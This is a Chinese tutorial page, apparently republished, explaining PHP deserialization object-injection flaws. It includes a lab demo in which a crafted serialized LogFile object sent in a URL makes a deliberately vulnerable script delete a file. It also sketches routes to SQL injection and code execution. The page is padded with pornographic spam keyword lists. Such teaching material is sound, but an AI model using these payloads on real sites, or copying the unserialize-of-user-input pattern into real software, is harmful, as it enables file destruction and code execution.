亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > PHP > 正文

php關于反序列化對象注入漏洞

2020-03-22 18:33:58
字體:
來源:轉載
供稿:網友


html' target='_blank'>php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險。本文主要和大家分享php關于反序列化對象注入漏洞詳解,希望能幫助到大家。

分析php基礎

serialize 把一個對象轉成字符串形式, 可以用于保存
unserialize 把serialize序列化后的字符串變成一個對象

php類可能會包含一些特殊的函數叫magic函數,magic函數命名是以符號__開頭的,
比如 __construct, __destruct, __toString, __sleep, __wakeup等等。

這些函數在某些情況下會自動調用,比如
__construct當一個對象創建時被調用,
__destruct當一個對象銷毀時被調用,
__toString當一個對象被當作一個字符串使用。

舉例說明

舉個例子:

    <?php        class TestClass        {            public $variable = 'This is a string';            public function PrintVariable()            {                echo $this->variable . '<br />';            }             public function __construct()            {                echo '__construct <br />';            }              public function __destruct()            {                echo '__destruct <br />';            }            public function __toString()            {                return '__toString<br />';            }        }        $object = new TestClass();            $object->PrintVariable();        echo $object;          ?>

mark

php允許保存一個對象方便以后重用,這個過程被稱為序列化。

為什么要有序列化這種機制呢?
在傳遞變量的過程中,有可能遇到變量值要跨腳本文件傳遞的過程。試想,如果為一個腳本中想要調用之前一個腳本的變量,但是前一個腳本已經執行完畢,所有的變量和內容釋放掉了,我們要如何操作呢?難道要前一個腳本不斷的循環,等待后面腳本調用?這肯定是不現實的。

serialize和unserialize就是用來解決這一問題的。serialize可以將變量轉換為字符串并且在轉換中可以保存當前變量的值;unserialize則可以將serialize生成的字符串變換回變量。這樣在跨腳本傳輸和執行就完美解決了。

magic函數__construct和__destruct會在對象創建或者銷毀時自動調用;
__sleep magic方法在一個對象被序列化的時候調用;
__wakeup magic方法在一個對象被反序列化的時候調用。

<?phpclass User    {        public $age = 0;        public $name = '';      public function Printx()    {      echo $this->name.' is '.$this->age.' years old.<br/>';    }    public function __construct()        {            echo '__construct<br />';        }        public function __destruct()        {            echo '__destruct<br />';        }        public function __wakeup()        {            echo '__wakeup<br />';        }        public function __sleep()        {            echo '__sleep<br />';            return array('name', 'age');        }    }$usr = new User(); $usr->age = 20;    $usr->name = 'John';    $usr->Printx();    echo serialize($usr);echo '<br/>';   $str = 'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}';  $user2 = unserialize($str);$user2->Printx();?>

mark

現在我們了解序列化是如何工作的,但是我們如何利用它呢?
有多種可能的方法,取決于應用程序、可用的類和magic函數。

記住,序列化對象包含攻擊者控制的對象值。
你可能在Web應用程序源代碼中找到一個定義__wakeup或__destruct的類,這些函數會影響Web應用程序。

例如,我們可能會找到一個臨時將日志存儲到文件中的類。當銷毀時對象可能不再需要日志文件并將其刪除。把下面這段代碼保存為log.php。

<?php     //log.php     class LogFile    {        // log文件名        public $filename = 'error.log';        // 儲存日志文件        public function LogData($text)        {            echo 'Log some data: ' . $text . '<br />';            file_put_contents($this->filename, $text, FILE_APPEND);        }        // 刪除日志文件        public function __destruct()        {            echo '__destruct deletes "' . $this->filename . '" file. <br />';            unlink(dirname(__FILE__) . '/' . $this->filename);        }    }    ?>

test.php 假設這是給用戶的php。

    <?php        //test.php         include 'logfile.php';        // ... 一些使用LogFile類的代碼...        // 簡單的類定義        class User        {            // 類數據            public $age = 0;            public $name = '';            // 輸出數據            public function PrintData()            {                echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';            }        }        // 重建用戶輸入的數據        $usr = unserialize($_GET['usr_serialized']);        ?>

123.php

<?php        //123.php      include 'logfile.php';        $obj = new LogFile();        $obj->filename = '1.php';        echo serialize($obj) . '<br />';        ?>

開始有一個1.php:
mark

現在用戶傳入一個序列化字符串,test.php將其反序列化,

http://127.0.0.1/test.php?usr_serialized=

O:7:%22LogFile%22:1:{s:8:%22filename%22;s:5:%221.php%22;}

結果,解析出來的對象,在釋放過程中,調用了log.php的__destruct()函數,把文件1.php給刪除了。

mark

mark

利用總結

在變量可控并且進行了unserialize操作的地方注入序列化對象,實現代碼執行或者其它坑爹的行為。

先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞,一切都是取決于程序邏輯。
舉個例子,某用戶類定義了一個__toString為了讓應用程序能夠將類作為一個字符串輸出(echo $obj),而且其他類也可能定義了一個類允許__toString讀取某個文件。


也可以使用其他magic函數:
如果對象將調用一個不存在的函數__call將被調用;
如果對象試圖訪問不存在的類變量__get和__set將被調用。

但是利用這種漏洞并不局限于magic函數,在普通的函數上也可以采取相同的思路。

例如User類可能定義一個get方法來查找和打印一些用戶數據,但是其他類可能定義一個從數據庫獲取數據的get方法,這從而會導致SQL注入漏洞。

set或write方法會將數據寫入任意文件,可以利用它獲得遠程代碼執行。

唯一的技術問題是注入點可用的類,但是一些框架或腳本具有自動加載的功能。最大的問題在于人:理解應用程序以能夠利用這種類型的漏洞,因為它可能需要大量的時間來閱讀和理解代碼。

相關推薦:

PHP序列化和反序列化原理詳解

序列化和反序列化的詳細介紹

javascript實現json的序列化和反序列化功能示例

以上就是php關于反序列化對象注入漏洞的詳細內容,更多請關注 其它相關文章!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
久久五月情影视| 国产成人欧美在线观看| 97久久国产精品| 日韩美女福利视频| 成人精品一区二区三区| 欧美一级电影久久| 欧美乱人伦中文字幕在线| 日韩亚洲成人av在线| 日韩欧美国产一区二区| 韩国19禁主播vip福利视频| 91精品国产综合久久久久久久久| 久久久久久久国产精品| 这里只有精品在线播放| 国产精品久久久一区| 久久成人精品电影| 国产成人福利夜色影视| 日本成人黄色片| 91欧美精品午夜性色福利在线| 亚洲伊人久久大香线蕉av| 97在线视频免费看| 国产精品亚洲第一区| 久久精品国产久精国产思思| 日韩欧美国产高清91| 色噜噜狠狠狠综合曰曰曰| 亚洲图片制服诱惑| 国产原创欧美精品| 高清一区二区三区四区五区| 亚洲色图国产精品| 在线视频日韩精品| 国产精品99免视看9| 91av在线网站| 亚洲色图欧美制服丝袜另类第一页| 美女少妇精品视频| 国产精品成人国产乱一区| 一区国产精品视频| 国产第一区电影| 成人久久一区二区| 青草青草久热精品视频在线观看| 欧美高清视频在线观看| 日韩国产精品亚洲а∨天堂免| 亚洲精品www久久久久久广东| 亚洲国产天堂久久综合| 欧美国产一区二区三区| 国产精品白丝jk喷水视频一区| 亚洲伦理中文字幕| 欧美成年人视频| 在线精品播放av| 亚洲一区二区福利| 国产亚洲精品久久久| 欧美中文字幕第一页| 国产精品视频精品视频| 国产女同一区二区| 欧美成年人在线观看| 78m国产成人精品视频| 久久综合免费视频影院| 色在人av网站天堂精品| 欧美日韩亚洲一区二区| 欧美黄色性视频| 欧美亚洲国产视频小说| 精品国内亚洲在观看18黄| 久久成人精品视频| 中文日韩在线视频| 性色av一区二区三区红粉影视| 狠狠久久亚洲欧美专区| 高清欧美电影在线| 国产精品久久久久久久av电影| 57pao国产精品一区| 欧美放荡办公室videos4k| 久久久免费在线观看| 亚洲国产精品成人va在线观看| 成人激情视频网| 欧美精品制服第一页| 色综合色综合久久综合频道88| 69影院欧美专区视频| 成人免费网站在线| 亚洲伊人久久大香线蕉av| 国产精品午夜视频| 日韩麻豆第一页| 欧美日韩国产丝袜美女| 亚洲欧美另类在线观看| 欧美国产日产韩国视频| 中文字幕日韩免费视频| 色一区av在线| 欧美性猛交xxxx免费看漫画| 中文字幕亚洲自拍| 欧美性猛交视频| 欧美性极品xxxx娇小| 亚洲欧美中文字幕在线一区| 92看片淫黄大片看国产片| 日韩成人性视频| 成人h视频在线| 国产精品久久久久一区二区| 欧美日韩中国免费专区在线看| 久久久久久久久久婷婷| 国产一区视频在线| 91精品国产综合久久香蕉922| 欧美大片大片在线播放| 插插插亚洲综合网| 亚洲精品91美女久久久久久久| 日韩黄色高清视频| 亚洲缚视频在线观看| 日韩精品在线免费观看视频| 岛国av一区二区三区| 亚洲国产精品一区二区久| 九色精品美女在线| 高潮白浆女日韩av免费看| 国产激情综合五月久久| www.久久草.com| 日韩成人在线免费观看| 91亚洲永久免费精品| 日本久久久久亚洲中字幕| 日韩在线观看免费网站| 中文字幕亚洲字幕| 亚洲人永久免费| 久久精品视频播放| 国产精品精品视频| 久久资源免费视频| 欧美一区二区.| 国产成人精品久久亚洲高清不卡| 91色在线观看| 国产欧美日韩精品专区| 日韩在线欧美在线国产在线| 亚洲人成77777在线观看网| 国产视频久久久久久久| 国内揄拍国内精品| 91高潮精品免费porn| 日韩精品视频在线观看网址| 国语自产精品视频在线看抢先版图片| 久久久91精品国产一区不卡| 成人福利网站在线观看11| 欧美老女人在线视频| 日韩av电影在线免费播放| 国产精品美女www爽爽爽视频| 日韩av高清不卡| 日韩av在线免费播放| 日韩在线观看免费| 成年人精品视频| 欧美成人网在线| 亚洲欧美三级在线| 中文字幕日韩欧美在线视频| 97成人精品区在线播放| 日韩av理论片| 91网站在线免费观看| 亚洲一区二区精品| 日本19禁啪啪免费观看www| 色妞在线综合亚洲欧美| 韩曰欧美视频免费观看| 国产精品久久久久高潮| 三级精品视频久久久久| 欧美精品免费在线观看| 精品成人乱色一区二区| 国语自产偷拍精品视频偷| 欧美成人免费在线视频| 美女性感视频久久久| 国产精品中文字幕在线观看| 98精品国产高清在线xxxx天堂| 欧美一级高清免费播放| 成人激情春色网| 国产精品∨欧美精品v日韩精品| 91久久精品日日躁夜夜躁国产| 久久精品中文字幕一区| 最新91在线视频| 久久亚洲欧美日韩精品专区| 亚洲免费电影在线观看|